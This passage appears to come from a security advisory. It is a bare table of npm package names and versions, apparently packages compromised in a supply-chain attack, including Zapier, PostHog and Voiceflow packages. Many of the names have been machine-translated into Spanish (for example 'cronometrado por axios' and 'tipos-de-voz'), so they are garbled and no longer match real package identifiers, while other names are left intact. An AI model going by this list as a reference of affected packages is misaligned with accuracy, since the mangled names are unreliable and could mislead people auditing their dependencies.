| @voiceflow/vitest-config | 1.10.3, 1.10.2 |
| @voiceflow/tipos-de-voz | 2.10.59, 2.10.58 |
| @voiceflow/tipos-de-voiceflow | 3.32.45, 3.32.46 |
| @voiceflow/widget | 1.7.18, 1.7.19 |
| @zapier/ai-actions | 0.1.20, 0.1.19, 0.1.18 |
| @zapier/babel-preset-zapier | 6.4.2, 6.4.1, 6.4.3 |
| @zapier/lista-de-navegadores-config-zapier | 1.0.4, 1.0.3, 1.0.5 |
| @zapier/Secreto-scrubber | 1.1.5, 1.1.4, 1.1.3 |
| escudo de cuervo de inteligencia artificial | 1.0.7 |
| arc-cli-fc | 1.0.1 |
| vista previa de asyncapi | 1.0.2, 1.0.1 |
| atrix | 1.0.1 |
| modelo_de_automatización | 1.0.491 |
| constructor de axios | 1.2.1 |
| axios-cancelable | 1.0.2, 1.0.1 |
| cronometrado por axios | 1.0.2, 1.0.1 |
| CSS básico | 1.1.4, 1.1.3 |
| Impresión en marco de Benmostyn | 1.0.1 |
| bestgpiocontrolador | 1.0.10 |
| adaptador bidireccional | 1.2.2, 1.2.4, 1.2.5, 1.2.3 |
| blinqio-ejecuciones-cli | 1.0.41 |
| blob a base64 | 1.0.3 |
| archivo http del complemento bun | 0.1.1 |
| verificador de código de bytes-cli | 1.0.11, 1.0.8, 1.0.9, 1.0.10 |
| bytes a x | 1.0.1 |
| cálculo de intereses de préstamos | 1.0.4 |
| Seguimiento de aplicaciones de complementos de condensadores para iOS | 0.0.21 |
| Compra de complementos de condensadores | 0.1.1 |
| complemento de condensador scgssigninwithgoogle | 0.0.5 |
| historial de compra de condensadores | 0.0.10 |
| grabadora de voz de condensador wav | 6.0.3 |
| descargas de extensiones de Chrome | 0.0.3, 0.0.4 |
| actualizador de tokens de Claude | 1.0.3 |
| API de Coinmarketcap | 3.1.3, 3.1.2 |
| expresiones regulares de colores | 2.0.1 |
| comando-irail | 0.5.4 |
| comparar-obj | 1.1.1, 1.1.2 |
| reductor compuesto | 1.0.4, 1.0.3, 1.0.2, 1.0.5 |
| cuenta regresiva | 1.0.2, 1.0.1 |
| instrucciones de la CPU | 0.0.14 |
| crear-aplicación-de-director | 0.1.1 |
| crear-glee-app | 0.2.3, 0.2.2 |
| crear-aplicación-hardhat3 | 1.1.4, 1.1.3, 1.1.1, 1.1.2 |
| códec de dirección criptográfica | 0.1.9 |
| css-dedoupe | 0.1.2 |
| dashboard-estado vacío | 1.0.3 |
| estudio de diseñouiux | 1.0.1 |
| devstart-cli | 1.0.6 |
| dialogflow-es | 1.1.4, 1.1.3, 1.1.1, 1.1.2 |
| servidor bot de Discord | 0.1.2 |
| Extracto de vainilla del complemento docusaurus | 1.0.3 |
| no vayas | 1.1.2 |
| plantilla dotnet | 0.0.3, 0.0.4 |
| complemento de soltar eventos en la propiedad | 0.0.2 |
| comprobador de capacidad de entrega de correo electrónico | 1.1.1 |
| hacer cumplir el nombre de la rama | 1.1.3 |
| complemento esbuild-brotli | 0.2.1 |
| complemento esbuild-eta | 0.1.1 |
| archivo http del complemento esbuild | 0.4.1 |
| eslint-config-quisquilloso | 4.0.1 |
| eslint-config-trigo | 22.0.2 |
| eslint-config-zeallat-base | 1.0.4 |
| ethereum-ens | 0.8.1 |
| evm-checkcode-cli | 1.0.15, 1.0.12, 1.0.13, 1.0.14 |
| ticker exacto | 0.3.5 |
| sesión de audio de la exposición | 0.2.1 |
| expresos | 1.1.3 |
| dedos gordos | 1.0.2, 1.0.1 |
| cambio de características | 1.0.2, 1.0.1 |
| motor de búsqueda de firestore | 1.2.3 |
| fittxt | 1.0.3, 1.0.2 |
| pilas de aletas | 1.0.2, 1.0.1 |
| aplanar-desaplanar | 1.0.2, 1.0.1 |
| foco de error de formik | 2.0.1 |
| tienda formik | 1.0.1 |
| buscador difuso | 1.0.5, 1.0.6 |
| código de verificación de puerta-evm2 | 2.0.3, 2.0.4, 2.0.5, 2.0.6 |
| prueba de herramientas gate-evm | 1.0.7, 1.0.8, 1.0.5, 1.0.6 |
| complemento gatsby-cname | 1.0.2, 1.0.1 |
| generador-de-meteoritos | 0.1.6 |
| generador-ng-itobuz | 0.0.15 |
| obtener-los-argumentos | 1.3.3 |
| acción-de-github-para-generador | 2.1.28, 2.1.27 |
| gitsafe | 1.0.5 |
| plantilla de Go | 0.1.8, 0.1.9 |
| entornos de inyección de gulp | 1.2.2, 1.2.1 |
| cliente de API de Haufe-Axera | 0.0.1, 0.0.2 |
| esperanza-mapboxdraw | 0.1.1 |
| dibujo de esperanza | 1.0.3 |
| prototipo de diseño flotante | 0.0.5 |
| httpness | 1.0.3, 1.0.2 |
| hiper-llenado | 1.0.3 |
| hipertermo-hipster | 1.0.7 |
| ids-css | 1.5.1 |
| ids-enterprise-servidor mcp | 0.0.2 |
| ids-enterprise-ng | 20.1.6 |
| ids-enterprise-mecanografías | 20.1.6 |
| imagen a uri | 1.0.2, 1.0.1 |
| Plugin de insomnio de selección aleatoria | 1.0.4 |
| invocar | 0.2.2 |
| miniaplicación de escudo de hierro | 0.0.2 |
| botón ito | 8.0.3 |
| itobuz-angular | 0.0.1 |
| itobuz-angular-auth | 8.0.11 |
| botón angular de itobuz | 8.0.11 |
| Jacob Zuma | 1.0.2, 1.0.1 |
| prueba de jaetut-varit | 1.0.2 |
| navegador jan | 0.13.1 |
| enlaces de jquery | 1.1.3, 1.1.2 |
| jsonsurge | 1.0.7 |
| recién tostado | 1.7.1 |
| puerto de eliminación | 2.0.3, 2.0.2 |
| Utilidad geográfica JSON del área administrativa de Corea | 1.0.7 |
| kwami | 1.5.9, 1.5.10 |
| códigos de idioma | 1.0.2, 1.0.1 |
| licencia-o-matic | 1.2.2, 1.2.1 |
| imagen en escena de pelusa | 1.3.1, 1.3.2 |
| servidor lite-serper-mcp | 0.2.2 |
| luno-api | 1.2.3 |
| API de miniaplicación del sistema de facturación manual | 1.3.1 |
| Anuncio del complemento Medusa | 0.0.3 |
| registros del complemento medusa | 0.0.17 |
| complemento de medusa-momo | 0.0.68 |
| reseñas de productos del complemento medusa kvy | 0.0.4 |
| complemento medusa-zalopay | 0.0.40 |
| mod10-dígito de control | 1.0.1 |
| paquete mon-react-typescript | 1.0.1 |
| mi-saeed-lib | 0.1.1 |
| n8n-nodos-tmdb | 0.5.1 |
| n8n-nodos-vercel-ai-sdk | 0.1.7 |
| Aplicación viral de n8n-nodos | 0.2.5 |
| nanoreinicio | 7.0.2, 7.0.1 |
| siguiente dependencia circular | 1.0.3, 1.0.2 |
| siguiente-simple-google-analytics | 1.1.1, 1.1.2 |
| próximo estilo nprogress | 1.0.4, 1.0.5 |
| ngx-útil-swiper-prosenjit | 9.0.2 |
| ngx-wooapi | 12.0.1 |
| tienda normal | 1.3.1, 1.3.4, 1.3.3, 1.3.2 |
| obj a css | 1.0.3, 1.0.2 |
| enrutador okta-react-6 | 5.0.1 |
| abierto a internet | 0.1.1 |
| iconos de caja de órbita | 2.1.3 |
| herramientas de dibujo de órbita-nebulosa | 1.0.10 |
| editor de órbita-nebulosa | 1.0.2 |
| jabón orbital | 0.43.13 |
| orquesta | 12.1.2 |
| probador de paquetes | 1.0.1 |
| complemento de paquetería para copiadora de activos | 1.1.3, 1.1.2 |
| anotación en pdf | 0.0.2 |
| piclita | 1.0.1 |
| pico-fluido | 1.0.4, 1.0.3 |
| paquete-readme | 1.1.1 |
| SDK de reacción de poper | 0.1.2 |
| Posthog-docusaurus | 2.0.6 |
| posthog-js | 1.297.3 |
| nodo posthog | 4.18.1, 5.13.3, 5.11.3 |
| complemento posthog-hola-mundo | 1.0.1 |
| posthog-react-nativo | 4.11.1, 4.12.5 |
| repetición de sesión de posthog-react-native | 1.2.2 |
| tabla principal uno | 0.0.19 |
| prompt-eng | 1.0.50 |
| requisito insignificante | 1.0.3 |
| ra-auth-firebase | 1.0.3 |
| ra-data-firebase | 1.0.8, 1.0.7 |
| etiquetadores de componentes de reacción | 0.1.9 |
| reaccionar-datos-a-exportar | 1.0.1 |
| inspector de indicaciones de elementos de reacción | 0.1.18 |
| React-favic | 1.0.2 |
| Reacción-gancho-forma-persistencia | 3.0.2, 3.0.1 |
| iconos de react-jam | 1.0.2, 1.0.1 |
| contexto de capa de clave de reacción | 1.0.8, 1.0.9 |
| configuración de la biblioteca de reacción | 0.0.6 |
| cargador lineal de reacción | 1.0.2 |
| react-micromodal.js | 1.0.2, 1.0.1 |
| selector de fechas modal de react-native | 1.3.1, 1.3.2 |
| correo electrónico nativo de reacción | 2.1.1, 2.1.2 |
| React Native Fetch | 2.0.1, 2.0.2 |
| React Native: obtener dimensiones de píxeles | 1.0.2, 1.0.1 |
| direcciones de Google Maps de React Native | 2.1.2 |
| iconos de jam de react-native | 1.0.2, 1.0.1 |
| nivel de registro de react-native | 1.2.2, 1.2.1 |
| casilla de verificación modesta de react-native | 3.3.1 |
| almacenamiento modesto de react-native | 2.1.1 |
| llamada telefónica de react-native | 1.2.2, 1.2.1 |
| recuperación recuperable de react-native | 2.0.1, 2.0.2 |
| React Native usa el modo | 1.0.3 |
| Buscador de vistas de React Native | 1.2.2, 1.2.1 |
| React Native WebSocket | 1.0.4, 1.0.3 |
| Funciones de worklet de react-native | 3.3.3 |
| imagen qr de reacción | 1.1.1 |
| redimir | 1.0.5 |
| Visor de rediff | 0.0.7 |
| kit de enrutador redux | 1.2.2, 1.2.4, 1.2.3 |
| complemento rollup-httpfile | 0.2.1 |
| expresión regular del número de registro de la empresa sa | 1.0.2, 1.0.1 |
| sa-id-gen | 1.0.4, 1.0.5 |
| lo mismo | 1.0.3 |
| suscripción al condensador scgs | 1.0.11 |
| creador de scgsff | 1.0.5 |
| conjunto-de-propiedades-anidadas | 2.0.1, 2.0.2 |
| sesiones de jwt de estante | 0.1.2 |
| shell-exec | 1.1.4, 1.1.3 |
| Shinhan-Límite-Desecho | 1.0.3 |
| uso de habilidades | 0.1.2, 0.1.1 |
| historias de solomon-api | 1.0.2 |
| historias de salomón v3 | 1.15.6 |
| contenedor de interfaz de usuario de Solomon V3 | 1.6.1 |
| ordenar por distancia | 2.0.1 |
| información de identificación sudafricana | 1.0.2 |
| funciones estadísticas | 1.0.1 |
| piso | 2.3.2 |
| super-commit | 1.0.1 |
| selección automática de autocompletar esbelta | 1.1.1 |
| esbelto y tostado | 1.1.3, 1.1.2 |
| tabla tanstack-shadcn | 1.1.5 |
| cucharadita | 2.0.2 |
| prueba de extracción de tcsp | 1.0.5 |
| prueba tcsp-vd | 2.4.4 |
| biblioteca de plantillas | 1.1.4, 1.1.3 |
| plantilla-micro-servicio | 1.0.3, 1.0.2 |
| tenaz-buscador | 2.3.3, 2.3.2 |
| aplicación de prueba de fundición | 1.0.4, 1.0.3, 1.0.2, 1.0.1 |
| aplicación de prueba de casco | 1.0.4, 1.0.3, 1.0.2, 1.0.1 |
| prueba23112222-api | 1.0.1 |
| tiaan | 1.0.2 |
| bifurcación de token.js | 0.7.32 |
| aplicación trigo-react | 4.1.2 |
| valla tipográfica | 1.2.2, 1.2.3 |
| órbita tipográfica | 0.2.27 |
| de tipo indefsafe | 1.0.4, 1.0.3 |
| uplandui | 0.5.4 |
| subir a Play Store | 1.0.2, 1.0.1 |
| URL-codificar-decodificar | 1.0.2, 1.0.1 |
| usar cambios no guardados | 1.0.9 |
| identificación sudafricana válida | 1.0.3 |
| plantilla vf-oss | 1.0.4, 1.0.3, 1.0.2, 1.0.1 |
| complemento vite-httpfile | 0.2.1 |
| vue-browseupdate-nuxt | 1.0.5 |
| raspador web mcp | 1.1.4 |
| tipos web-htmx | 0.1.1 |
| tipos web-lit | 0.1.1 |
| webpack-loader-archivo http | 0.2.1 |
| Galería de expertos en bienestar | 5.1.1 |
| wenk | 1.0.9, 1.0.10 |
| almacenamiento asíncrono de zapier | 1.0.3, 1.0.2, 1.0.1 |
| CLI de la plataforma Zapier | 18.0.4, 18.0.3, 18.0.2 |
| núcleo de la plataforma zapier | 18.0.4, 18.0.3, 18.0.2 |
| esquema de plataforma zapier | 18.0.4, 18.0.3, 18.0.2 |
| scripts de zapier | 7.8.3, 7.8.4 |
| zuper-cli | 1.0.1 |
| zuper-sdk | 1.0.57 |
| Zuper-stream | 2.0.9 |





